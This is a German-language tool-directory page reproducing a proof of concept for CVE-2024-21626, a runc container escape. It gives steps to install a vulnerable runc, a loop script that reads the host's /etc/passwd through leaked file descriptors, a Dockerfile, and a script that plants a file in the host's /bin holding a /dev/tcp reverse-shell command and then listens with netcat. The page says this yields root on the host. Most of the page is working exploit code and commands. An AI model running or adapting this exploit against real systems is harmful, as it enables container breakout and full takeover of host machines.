Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-21626 — POC | Kitploit
Tools/GitHubGitHub/kubernetesbachelor/cve-2024-21626
Privilege EscalationContainer-SicherheitSchwachstellenanalyseExploitationRed TeamingContainer-Ausbruch
GitHubkubernetesbachelor/cve-2024-21626

CVE-2024-21626

POC

Repository anzeigen
25vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-21626

POC

Anforderungen

runc 1.1.0 <= 1.1.11

Installation der verwundbaren Umgebung

Stellen Sie eine VM mit Ubuntu 20.04 bereit und laden Sie Docker gemäß deren Anleitung herunter

root@kitploit:~
https://docs.docker.com/engine/install/ubuntu/

Ersetzen Sie die gepatchte 'runc'-Version in Docker durch eine verwundbare

Laden Sie eine verwundbare Version (runc 1.1.11 oder früher) aus dem runc-GitHub-Repository herunter: https://github.com/opencontainers/runc/releases
Wählen Sie runc.amd64 (Anforderung) runc_1111

Ausführen des Exploits

Führen Sie das Skript 'verify.sh' aus

root@kitploit:~
#! /bin/bash
for i in {4..20}; do
	docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
/proc/self/cwd/../../../etc/passwd"
done

verify

Ändern Sie das Arbeitsverzeichnis im Dockerfile auf das korrekte fd, das durch Ausführen von verify.sh ermittelt wurde

root@kitploit:~
FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
ADD ./poc.sh /poc.sh
WORKDIR /proc/self/fd/9

Erstellen Sie einen Container

root@kitploit:~
docker build . -t name_of_container

poc.sh

root@kitploit:~
#!/bin/bash
ip=$(hostname -I | awk '{print $1}')
port=1337
cat > /proc/self/cwd/../../../bin/bash.copy << EOF
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
EOF

# listen and wait for reverse shell
nc -lvvp 1337

Führen Sie das Container-Image aus und führen Sie poc.sh in einer Bash-Shell aus

root@kitploit:~
docker run -it --rm cve2024 bash /poc.sh

Container wechselt in den Abhörmodus

lytte

Auf dem Host-Rechner wurde im Root ein neues Skript namens 'bash.copy' im Verzeichnis /proc/self/cwd/../../../bin/ erstellt

bash

Wenn Sie das Skript ausführbar machen und es ausführen...

root@kitploit:~
chmod +x bash.copy
./bash.copy

... erhalten Sie eine Reverse Shell mit Root-Rechten auf dem Host-Rechner

root

Quelle

https://ethicalhacking.uk/cracking-containers-understanding-cve-2024-21626-in-runc/#gsc.tab=0

Tool herunterladen